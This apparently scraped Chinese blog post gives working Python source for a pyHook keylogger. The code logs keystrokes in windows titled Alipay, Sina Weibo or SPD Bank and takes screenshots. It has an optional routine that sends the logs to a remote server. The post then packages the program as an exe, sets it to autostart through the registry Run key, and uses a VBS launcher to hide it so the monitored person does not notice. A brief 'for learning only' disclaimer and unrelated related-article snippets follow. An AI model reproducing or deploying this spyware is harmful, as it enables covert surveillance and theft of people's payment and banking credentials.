pyHook监听用户鼠标、键盘事件

一、代码部分:获取用户输入信息,并与截图一起保存到XX目录下

# -*- coding: utf-8 -*- #

import pythoncom

import pyHook   

import time

import socket

from PIL import ImageGrab

#

#如果是远程监听某个目标电脑,可以自己架设一个服务器,然后将获取到的信息发回给服务器

#

def send_msg_to_server(msg):

    host=""

    port=1234

    buf_size=1024

    addr=(host,port)

    if len(msg)>0:

        tcp_client_sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

        tcp_client_sock.connect(addr)

        info=time.strftime(‘%Y%m%d%H%M%S‘,time.localtime(time.time()))+‘ from ‘+socket.gethostname()+‘:‘

        tcp_client_sock.sendall(info+msg)

        tcp_client_sock.close()

        

#

#也可以将获取到的信息保存到本地文件下

#

def write_msg_to_txt(msg):   

    f=open(‘D:/workspace/mytest/pyhook/media/monitor.txt‘,‘a‘)

    f.write(msg+‘\r\n‘)

    f.close()

def onMouseEvent(event):

    # 监听鼠标事件    

    global MSG

    if len(MSG)!=0:       

        #send_msg_to_server(MSG)

        write_msg_to_txt(MSG)

        MSG=‘‘

        pic_name = time.strftime(‘%Y%m%d%H%M%S‘,time.localtime(time.time()))

        #将用户屏幕截图,保存到本地某个目录下(也可以搞成远程发送到自己的服务器)

        pic = ImageGrab.grab()

        pic.save(‘D:/workspace/mytest/pyhook/media/mouse_%s.png‘ % pic_name)

    return True

  

def onKeyboardEvent(event):

    #监听键盘事件

    global MSG

    title= event.WindowName.decode(‘GBK‘)

    #通过网站title,判断当前网站是否是“监听目标”

    if title.find(u"支付宝") != -1 or title.find(u‘新浪微博‘)!=-1 or title.find(u‘浦发银行‘)!=-1:

        #Ascii:  8-Backspace , 9-Tab ,13-Enter

        if (127 >= event.Ascii > 31) or (event.Ascii == 8):

            MSG += chr(event.Ascii)              

        if (event.Ascii == 9) or (event.Ascii == 13):           

            #send_msg_to_remote(MSG)

            write_msg_to_txt(MSG)

            MSG = ‘‘

            #屏幕抓图实现

            pic_name = time.strftime(‘%Y%m%d%H%M%S‘,time.localtime(time.time()))

            pic = ImageGrab.grab()

            #保存成为以日期命名的图片

            pic.save(‘D:/workspace/mytest/pyhook/media/keyboard_%s.png‘ % pic_name)

    return True

 

if __name__ == "__main__":    

    MSG = ‘‘  

    #创建hook句柄

    hm = pyHook.HookManager()

    #监控鼠标

    hm.SubscribeMouseLeftDown(onMouseEvent)

    hm.HookMouse()

    #监控键盘

    hm.KeyDown = onKeyboardEvent

    hm.HookKeyboard()

    #循环获取消息

    pythoncom.PumpMessages()

二、用py2exe将脚本打包:

    新建一个py文件setup.py,内容如下:

    from distutils.core import setup

    import py2exe

    setup(console=["monitor.py"])

    #setup(windows=["monitor.py"])

    命令行执行以下命令:

    python setup.py py2exe

   

三、将该程序设置为开机自动启动:

    法①:

    将需要开机启动的文件(创建一个快捷方式,然后)放到“开始/所有程序/启动”目录下

    法②:

    修改注册表:命令行— regedit ,然后到以下路径下:

    [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]  

    新建一个“字符串值”,然后编辑:设置exe文件所在路径

    D:\workspace\mytest\pyhook\dist\monitor.exe

   

   (以上两种方式启动monitor.exe的话,会弹出一个命令框,显示监听日志信息,这样的话,被监听的人一下就能发现了,可以试试下面这个方式)

    法③:

    新建一个 .vbs文件,内容如下:

    set wscriptObj = CreateObject("Wscript.Shell")

    wscriptObj.run “D:\workspace\mytest\pyhook\dist\monitor.exe",0

    双击运行该vbs文件,则monitor.exe就在后台启动了(不会弹出一个大黑框)。

    然后参考法①、② 把该vbs设置成开机启动即可。

附言:

1、该程序涉及到一些模块都需要自己安装一下;

2、文章中凡是“D:\workspace....”这样的路径都需要改成自己的真实路径;

3、代码仅供分享、学习,请勿干非法的事;

4、我也是初学,所以请随便喷;

时间: 2024-10-15 13:24:09

pyHook监听用户鼠标、键盘事件的相关文章

vue使用element-ui的el-input监听不了键盘事件解决

vue使用element-ui的el-input监听不了键盘事件,原因应该是element-ui自身封装了一层div在input标签外面,把原来的事件隐藏了,所以如下代码运行是无响应的: <el-input v-model="name" placeholder="账号" @keyup.enter="doLogin"></el-input> 在执行的时候事件是定义在input外面的div上的,所有没有响应. 解决方法需要在事

JavaScript-4.6鼠标事件监听,获取鼠标坐标window.event---ShinePans

<html> <head> <meta http-equiv="content-type" content="text/html" charset=GB2312"/> <title> 4.5 window.event应用 </title> <script> function body_onclick(){ alert("鼠标点击的坐标是\r\nx:"+event.x

android基础之如何实现触屏监听和鼠标点击事件

直接上代码: android基础之如何实现触屏监听和鼠标点击事件

js 监听手机端键盘弹出和收起事件

//这里区分不同系统,可以参考之前的文档记录 https://www.cnblogs.com/wind-wang/p/10737110.html const ua = typeof window === 'object' ? window.navigator.userAgent : ''; let _isIOS = -1; let _isAndroid = -1; export function isIOS() { if (_isIOS === -1) { _isIOS = /iPhone|iP

微信小程序监听用户上滑下滑事件

今天做了一个要根据用户上滑或者下滑来显示不同内容的功能. 思路:先监听用户是上滑还是下滑,监听到结果后改变data数据中用来判断模块显示隐藏的变量,两个需要切换的模块使用两个hidden,data中定义两个变量来接受更改后的true或者false 页面 hidden='{{bottom}}' hidden='{{top}}' data{ //初始化状态 top:true, bottom:false, } //判断浏览器滚动条上下滚动 if (t.scrollTop > a.data.scroll

Android如何监听蓝牙耳机的按键事件(转)

源: Android如何监听蓝牙耳机的按键事件 写在前面: 直接想要代码很简单,你直接把滚动条拉到最底端就可以看到.如果想要十分地了解为什么,那就按照我规划的一步一步来理解.以下测试环境以手头上有的「Bluedio + 红米手机」. 1.蓝牙耳机的使用 蓝牙耳机的使用说明书中都会有相关的详细使用说明,这里拣重点说明一下.除了电源开关,耳机上一般有三个键.如下所示: 它们每个都是多功能键,在不同的情况下有不同的功能.1号键的功能包括:开始播放音乐/停止插入音乐/接听电话/挂断电话:2号键的功能有:

监听元素属性改变事件的方法

一.onchange事件只在键盘或者鼠标操作改变对象属性,且失去焦点时触发,脚本触发无效.(就是说你在输入框中输入完内容,输入完了,然后鼠标点别的地方触发该事件)二.oninput事件oninput 事件在用户输入时触发.不支持JS等赋值改变的元素属性.该事件在 <input> 或 <textarea> 元素的值发生改变时触发.(也就是说,不用输入完,边输入边触发该事件)①但是,这个方法是HTML5中的标准事件,IE9以下的浏览器是不支持oninput事件的.②使用时,还需要oni

监听input变化的事件

可以监听input变化的事件 在需要监听input输入值改变的时候,可以通过原声DOM对象的事件oninput/onchange/onkeyup/onkeypress/onkeydown 事件来监听. 这几种事件的触发条件 事件名称 触发条件 onchange 事件会在域的内容改变时发生 oninput 事件在用户输入时触发 onkeyup 事件会在键盘按键被松开时发生 onkeypress 在按下按键时触发, 不能触发所有按键(例如:ALT, CTRL, SHIFT, ESC) onkeydo

【android学习】安卓设备实现触摸事件的监听,跨进程事件注入

最近想实现触摸屏的事件记录,并且分别做时间戳标记,类似于adb shell 下的getevent/setevent,查了很多资料,下面是一些总结. 实现方法: 1.利用onclick方法等.这种方法只能用于自己的Activity和View中,如果要检测其他Activity,比如键盘就不行了. 2.从linux内核入手.在事件分发前截获事件,可以对任意Activity实现事件捕获. android触摸事件的流程: http://blog.csdn.net/sunnyfans/article/det